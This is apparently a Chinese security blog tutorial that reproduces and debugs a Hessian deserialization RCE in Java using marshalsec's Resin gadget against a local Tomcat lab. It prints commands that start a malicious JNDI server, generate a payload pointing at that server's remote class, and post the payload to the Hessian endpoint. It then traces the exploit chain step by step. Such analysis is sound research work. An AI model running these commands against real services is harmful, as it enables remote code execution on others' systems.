Java Hessian反序列化漏洞
/0x01 Hessian简介
Hessian是一个轻量级的remoting onhttp工具,是一个轻量级的Java序列化/反序列化框架,使用简单的方法提供了RMI的功能。 相比WebService,Hessian更简单、快捷。采用的是二进制RPC协议,因为采用的是二进制协议,所以它很适合于发送二进制数据。
Hessian序列化/反序列化机制的基本概念图如下:
- AbstractSerializerFactory:抽象序列化器工厂,是管理和维护对应序列化/反序列化机制的工厂,拥有getSerializer()和getDeserializer()方法。默认的几种实现如下:
- SerializerFactory:标准的实现。
- ExtSerializerFactory:可以设置自定义的序列化机制,通过该Factory可以进行扩展。
- BeanSerializerFactory:对SerializerFactory的默认Object的序列化机制进行强制指定,指定为BeanSerializer。
- Serializer:序列化的接口,拥有writeObject()方法。
- Deserializer:反序列化的接口,拥有readObject()、resdMap()、readList()方法。
- AbstractHessianInput:Hessian自定义的输入流,提供对应的read各种类型的方法。
- AbstractHessianOutput:Hessian自定义的输出流,提供对应的write各种类型的方法。
在Hessian的Serializer中,有以下几种默认实现的序列化器:
在Hessian的Deserializer中,有以下几种默认实现的反序列化器:
这里我们关注到MapDeserializer这个反序列化器即可,其在后面的反序列化漏洞利用中应用到。
0x02 Hessian反序列化漏洞
和Java原生的序列化对比,Hessian更加高效并且非常适合二进制数据传输。既然是一个序列化/反序列化框架,Hessian同样存在反序列化漏洞的问题。
对于Hessian反序列化漏洞的利用,使用ysoserial工具的Gadget是无法成功的,而是要用marshalsec工具的Gadget。这是因为ysoserial是针对Java原生反序列化漏洞的,并没有一些如Hessian等非Java原生反序列化漏洞的Gadgets。
marshalsec工具项目如下:https://github.com/mbechler/marshalsec
针对Hessian反序列化过程进行攻击,就需要使用特殊的Gadget,在marshalsec这个工具里,已经有了5个可用的Gadgets。分别是:
- Rome
- XBean
- Resin
- SpringPartiallyComparableAdvisorHolder
- SpringAbstractBeanFactoryPointcutAdvisor
复现——Resin Gadget
Hessian环境搭建按照参考文章很方便就搞好。
和JNDI注入时一样,现在要搭建恶意的JNDI服务端,这里直接用JNDI注入利用工具项目而不用像之前一样自己写服务端代码:https://github.com/welk1n/JNDI-Injection-Exploit
使用方法如下,-C参数为需要执行的命令,-A参数为监听地址:
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] |
这里我们用直接启动就行,可以看到是有三个不同的服务端对应不同的端口:
直接用marshalsec来生成payload,这里地址指定为JettyServer并在指定恶意执行类为ExecTemplateJDK7:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ ExecTemplateJDK7>hessian |
最后就是编写序列化的payload发送到服务器,这里直接看下原作者的脚本是怎么写的:
1 | h#!/usr/bin/env python |
先是将marshalsec生成的payload和构造的header拼接成Hessian格式的序列化内容,然后通过POST方式发送该Hessian序列化的内容,其中需要指定Content-Type头为’x-application/hessian’让服务端识别出事Hessian序列化类型的数据。
运行脚本,成功触发反序列化漏洞:
1 | python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian |
Resin Gadget分析
调试分析之前,我们需要知道marshalsec中Resin Gadget到底是如何触发反序列化漏洞RCE的。
我们看下Gadget怎么写的:https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/Resin.java
1 | package marshalsec.gadgets; |
分析可知:
- 先定义了javax.naming.spi.ContinuationDirContext类实例,然后调用getDeclaredConstructor()函数生成CannotProceedException类和Hashtable类的结构体实例,用于构造后面的DirContext类实例并通过构造函数赋值给QName类实例的
_context
属性。 - 然后定义了一个CannotProceedException类变量cpe,该类用于程序出现异常时通过调用javax.naming.spi.NamingManager提供的方法(比如 getContinuationContext())来查找另一个提供程序以继续操作;这里调用了setResolvedObj()函数设置此异常的已解析对象字段为恶意的Reference类实例,可以看到是Reference()的classFactoryLocation参数的JNDI注入利用,注意该Reference最后是传入到QName构造函数的第一个参数中。
- 接着,将设置好的cpe传入DirContext的newInstance()函数中新建实例。
- 最后定义了com.caucho.naming.QName这个类实例,再调用makeToStringTriggerStable()函数处理该对象并返回。
接着跟踪makeToStringTriggerStable()函数的实现,根本是调用的ToStringUtil.makeToStringTrigger()函数:
1 | public static Object makeToStringTrigger ( Object o ) throws Exception { |
分析可知,用到了com.sun.org.apache.xpath.internal.objects.XString这个类来和QName对象生成并返回一个Map对象。使用这个处理的目的是为了调用到QName.toString()函数。
最后我们看下com.caucho.naming.QName类的toString()函数:
在toString()函数中,QName类的_context
属性调用了composeName()函数。我们Gadget打进去后该属性类型为ContinuationDirContext,其中的cpe为CannotProceedException类实例,在调用到此处时会触发NamingException异常,此时会调用javax.naming.spi.NamingManager.getObjectFactoryFromReference()函数去加载Reference指定地址的服务,最后就是lookup(),从而导致RCE。
调试分析
这里使用IDEA对Tomcat的war包进行远程调试。
由于在Windows本地运行的Tomcat,因此打开Tomcat的配置文件catalina.bat添加如下配置再重启Tomcat即可开启远程调试的端口:
1 | set CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5555" |
接着本地解压war包并用IDEA打开,然后使用Remote远程连接到Tomcat后,当显示”Connected to the target VM, address: ‘localhost:5555’, transport: ‘socket’”时表示成功,即可开始远程调试。
我们从配置文件web.xml开始看,这里有个URL的匹配路径/hessian,也就是刚刚我们访问的那个接口,可以看到其对应的是HessianServlet这个类:
跟进该类,直接在service()函数中下断点,然后浏览器再次访问http://127.0.0.1:8080/HessianTest/hessian
页面即可停在断点处:
可以看到,这个接口需要POST方式来传数据,否则直接返回500。
重新发送payload,往下调试,看到会获取request请求中的输入流,然后调用invoke()函数:
跟下去,在invoke()函数中会调用相关函数读取头类型,并在下面的switch语句中匹配符合条件的头类型进入不同的逻辑,这里获取到的头类型是CALL_1_REPLY_2
,则调用createHessianInput()函数创建Hessian输入流和输出流:
接着会判断序列化器工厂是否为空,这里为非空则设置到Hessian的输入流和输出流,然后调用invoke():
跟进去这个invoke()函数,这里循环遍历读入header头,若header存在则调用Hessian输入流的readObject(),这里读取到了python脚本构造的名为test的Hessian头:
跟进去HessianInput.readObject()函数中,其中先获取tag值为77即’M’,然后匹配到对应的switch语句中调用readMap()函数:
跟进SerializerFactory.readMap()函数中,由于type为空且已经存在HashMap反序列化器,因此会调用MapDeserializer的readMap()函数继续解析序列化的Map内容:
跟进去MapDeserializer.readMap()函数,先新建一个HashMap实例,然后循环遍历HessianInput的内容,将其中的键值都进行readObject()操作然后再put进该新建的HashMap实例中:
这里readObject()处理过程也是一样的,简单地说就是获取序列化内容的类类型、属性值等(这里为反序列化获取com.caucho.naming.QName类及其属性值等,具体过程可自行调试下)。此处下断点然后F8过两次就能直接触发弹计算器了。
HashMap.put()函数中会调用hash(key)来计算对象的hash,然后再调用putVal()来设置HashMap的值:
这里hash(key)实际上就是调用的QName的hashCode(),在我本地调试的时候就出触发一次弹计算器(其实在获取了QName的_items
属性后,只要在本地调试调用到QName的函数都会弹计算器,原因应该就是QName的_context
属性中的cpe是个CannotProceedException类,会一直触发异常导致提前RCE):
在第二次调用到HashMap.put()函数时,此时调用了XString的equals()函数:
在XString.equals()函数中,调用了QName.toString()函数:
调用到QName.toString()函数,这里才是真正的漏洞触发点,我们由前面知道marshalsec工具的Resin Gadget中QName类对象的_context
属性的cpe是被设置为CannotProceedException类,该属性在调用composeName()函数时会捕获到NamingException异常,此时会调用javax.naming.spi.NamingManager的getContext()函数来查找另一个提供程序即恶意Reference来继续执行操作,从而触发RCE:
此时我们打开看下NamingException类实例即变量e中的stackTrace,验证了前面的分析,即QName.toString()中的漏洞点是在composeName()调用中,这里由于NamingException异常导致调用了NamingManager.getContext()来查找另一个程序继续执行,这其中有调用了NamingManager.getObjectFactoryFromReference()函数来加载payload中设置的恶意Reference地址指向的服务上的类,从而导致RCE:
此时的函数调用栈如下:
1 | toString:346, QName (com.caucho.naming) |